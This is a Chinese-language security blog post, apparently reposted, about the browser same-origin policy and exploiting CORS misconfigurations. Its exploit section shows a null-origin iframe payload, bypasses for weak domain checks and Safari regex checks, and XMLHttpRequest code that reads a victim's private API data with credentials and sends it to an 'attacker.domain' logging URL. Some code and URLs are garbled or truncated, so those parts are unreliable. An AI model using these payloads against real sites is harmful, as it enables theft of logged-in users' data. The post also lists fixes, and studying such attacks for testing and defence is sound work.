CORS原理及漏洞利⽤
刚⼊门的时候也学习过CORS,那个时候的对寻漏洞的标准是:
1修改`Origin:`,使得返回的HTTP字段中的`Access-Control-Allow-Origin: `出现你所输⼊的值,表明此⽹站存在CSOR漏洞
原理、利⽤、绕过都没有进⼀步了解。这次趁着实习的机会,好好的将CORS相关知识总结⼀下,并对⼀些基本原理进⾏⼀个梳理。
浏览器的同源策略
什么是同源
URL是否同源原因
同源只有路径不同
同源只有路径不同
不同源协议不同(http/https)
不同源端⼝不同
jquery ajax例子不同源域名不同
从表格中我们得出,两个页⾯,如果端⼝和主机都相同,则我们称这两个页⾯同源。除此之外,在页⾯中⽤ about:blank 或 javascript: URL 执⾏的脚本会继承打开该 URL 的页⾯的源。(IE未将端⼝加⼊到同源策略的组成部分之中)
修改源
1document.domain = "threezh1"
跨源⽹络访问
刚刚说到,同源策略约束着不同源的资源交互。例如XMLHttpRequest和Fetch API的使⽤就遵循同源策略。这些交互⼤概分为以下三类:跨域写操作(Cross-origin writes):例如链接(links),重定向以及表单提交。需要添加 preflight(发送⼀个OPTIONS请求)
跨域资源嵌⼊(Cross-origin embedding):<script>嵌⼊跨域脚本、<link rel="stylesheet" href="...">嵌⼊css、<img>嵌⼊图⽚、<iframe>载⼊资源等等
跨域读操作(Cross-origin reads)
前两项通常是被运⾏的,⽽跨域读通常是不被允许的,那该如何允许跨源访问呢?这时候CORS就发挥出它的作⽤了。
CORS
跨域资源共享(CORS) 是⼀种机制,通过定义额外的HTTP头来使浏览器能够允许不同源之间的资源交互。这些HTTP头包括哪些呢?
HTTP 请求⾸部字段
Origin: <origin> 表明预检请求或实际请求的源站。
⽤于预检请求的HTTP请求⾸部字段():
Access-Control-Request-Method: <method> ⽤于预检请求。其作⽤是。将实际请求所使⽤的 HTTP ⽅法告诉服务器。
Access-Control-Request-Headers: <field-name>[, <field-name>]*⽤于预检请求。其作⽤是,将实际请求所携带的⾸部字段告诉服务器。
HTTP 响应⾸部字段
Access-Control-Allow-Origin: <origin> | * origin 参数的值指定了允许访问该资源的外域 URI。对于不需要携带⾝份凭证的请求,服务器可以指定该字段的值为通配符,表⽰允许来⾃所有域的请求。
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header 让服务器把允许浏览器访问的头放⼊⽩名单,XMLHttpRequest对象就能够通过getResponseHeader访问到 X-My-Custom-Header和 X-Another-Custom-Header 响应头了。
Access-Control-Max-Age: <delta-seconds> 指定了preflight请求的结果能够被缓存多久
Access-Control-Allow-Credentials: true 指定了当浏览器的credentials设置为true时是否允许浏览器读取response的内容。
⽤于预检请求的HTTP响应⾸部字段:
Access-Control-Allow-Methods: <method>[, <method>]* ⽤于预检请求的响应。其指明了实际请求所允许使⽤的 HTTP ⽅法。
Access-Control-Allow-Headers: <field-name>[, <field-name>]* ⽤于预检请求的响应。其指明了实际请求中允许携带的⾸部字段。
⼀个简单的例⼦:
这⾥跳过了预检请求,并且数据包也简化了。
1 2 3 4 5 6 7
请求数据包:
POST /resources/post-here/ HTTP/1.1 Host: example
Origin: ample
[post data]
8
9 10 11 12 13
HTTP/1.1 200 OK
Access-Control-Allow-Origin: ample Access-Control-Allow-Credentials: true
[result]
从上⾯的请求中可以看得出来,ample向example发送跨域请求,并且成功获取到数据。
具体HTTP请求与响应例⼦请参考:
⼏种可能利⽤的CORS配置错误
这⾥主要记录⼀下关于CORS漏洞的⼏种情况以及利⽤⽅式,漏洞利⽤的最终⽬的是⽤户只要访问到⼀个攻击页⾯就可以获取到⽤的敏感信息。(还有可以进⾏缓存投毒,利⽤⾯
太⼩就不作记录了) 因为搭建环境复现⽐较⿇烦,这⾥就不复现⼀些情况的例⼦了,打算等在实际情况中遇到再来补充。
从Origin与Credentials值中得出是否可利⽤
“Access-Control-Allow-Origin” 值“Access-Control-Allow-Credentials” 值是否可利⽤
true是
null true是
*true否
当然,可以利⽤的情况不会那么简单。⼤部分时候是origin的域名部分被校验。所以需要总结⼀下CORS域名限制的⼏种绕过。
如何发送origin=NULL的请求
当遇到⼀个cors可⽤null值绕过时,⽤iframe配合data协议,就可以发送⼀个origin为null的请求。
1<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>var req=new XMLHttpRequest();req.οnlοad=reqListener;req.open("get","127.0.0.1/test.html",true);req.withCred
可绕过的域名校验
当域名校验不是特别严格时,可以通过以下⼏种⽅式进⾏绕过:
在后⾯加域名 qq => qq.abc
将域名拼接 abc.qq => abc_qq
在前⾯或者在后⾯加字符 qq => abcqq / qq => qqabc
配合XSS进⾏利⽤
当同源⽹站中存在⼀个xss漏洞时,就可以直接使⽤xss包含cors的payload进⾏利⽤。
⼦域名托管
通过托管⼀个⼦域名,可以直接使⽤⼦域名或者通过降域来利⽤,这⾥只作了解。
Safari浏览器的特殊性质
当遇到这样的正则表达式所校验的域名时:(允许所有“target.local”的⼦域名的跨域请求,并且这些请求可以来⾃于⼦域名的任意端⼝)
1^https?:\/\/(.*\.)?target.local([^\.\-a-zA-Z0-9]+.*)?
其他可以利⽤的字符:
1 2 3 4
,&'";!$^*()+=`~-_=|{}%
// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
利⽤之XMLHttpRequest发包
⽅式⼀:直接作为参数传递到⾃⼰搭建的⽹址
1 2 3 4 5 6 7 8
var req = new XMLHttpRequest();
req.open("get","vulnerable.domain/api/private-data",true);
req.withCredentials = true;
req.send();
function reqListener() {
location="//attacker.domain/log?response="+sponseText;
};
⽅式⼆:写⼊到当前⽹页的⽂本框
1 2 3 4 5 6 7 8 9 10 11 12 13
function cors() {
var xhttp = new XMLHttpRequest();
if (this.status == 200) {
sponseText);
}
};
xhttp.open("GET", "dacted/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
利⽤之Ajax - jquery发包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18<script src="0535code/wp-content/themes/d8/js/jquery.js?ver=3.0"></script>
<script type="text/javascript">
var url ="0535code/"
//装⼊页⾯
$(window).load(function() {
start();
});
function start(){
$.ajax({
url:url,
type:"POST",
success:function(data){//ajax返回的数据
//var result = data;
//alert(result);
},
});
}
</script>
⼏种检验与利⽤的⼯具
Brupsuite⾃带cors检验,但误报率较⾼
X-ray检测
漏洞修复
避免使⽤CORS
定义⽩名单
使⽤安全的协议
配置”VARY”头部
避免使⽤“CREDENTIALS”
合理配置”Access-Control-Allow-Methods”
限制缓存的时间
仅配置所需要的头
参考
附录
XMLHttpRequest
AJAX是异步的JavaScript和XML,就是使⽤XMLHttpRequest对象与服务器通信。那具体该怎么发送http请求呢?下⾯是⼀个简单的例⼦,对test.html发送GET请求,并获取其返回的内容后弹窗:
1 2 3 4 5 6 7 8 9 10 11 12 13
<button id="ajaxButton" type="button">Make a request</button>
<script>
(function() {
var httpRequest;
// click事件绑定
function makeRequest() {
// 创建⼀个XMLHttpRequest对象
httpRequest = new XMLHttpRequest();
if (!httpRequest) {
alert("Fail to create an XMLHttpRequest!");
return false;
}
14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
// 请求状态发⽣改变时的事件绑定
// 对test.html发送get请求
httpRequest.open("GET", "test.html");
// 发送数据,这⾥是Get请求,所以参数为空。如果是POST请求,参数内容就应该为POST数据
httpRequest.send()
}
function alertContents() {
try {
if (adyState == XMLHttpRequest.DONE) {
if (httpRequest.status == 200) {
sponseText);
} else {
alert("There are some problem with the reuqest!");
}
}
} catch(e) {
alert('Caught Exception: ' + e.description);
}
}
})();
</script>
上⽅只是⼀个简单的Get请求,那如果想要发送POST请求并传递⼀些参数该怎么做呢?来看下⽅这个例⼦(部分节选):
1 2 3
httpRequest.open('POST', url);
httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
httpRequest.send('userName=' + encodeURIComponent(userName));
可以看到,类型从GET改成了POST,并且设置了⼀个http header。这⾥需要注意的是,在进⾏POST请求时,需要根据要发送的数据设置请求的MIME类型。⼀般为以下⼏种类型:
application/x-www-form-urlencoded 表⽰在发送前编码所有字符(默认)
multipart/form-data 不对字符编码。在使⽤包含⽂件上传控件的表单时,必须使⽤该值。
text/plain 空格转换为 “+” 加号,但不对特殊字符编码。
text/html 超⽂本标记语⾔⽂本
除了GET和POST请求的不同之外,adyState有这么⼀些值代表着特别的含义:
0 (未初始化) or (请求还未初始化)
1 (正在加载) or (已建⽴服务器链接)
2 (加载成功) or (请求已接受)
3 (交互) or (正在处理请求)
4 (完成) or (请求已完成并且响应已准备好)
更详细的内容请参考: &
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论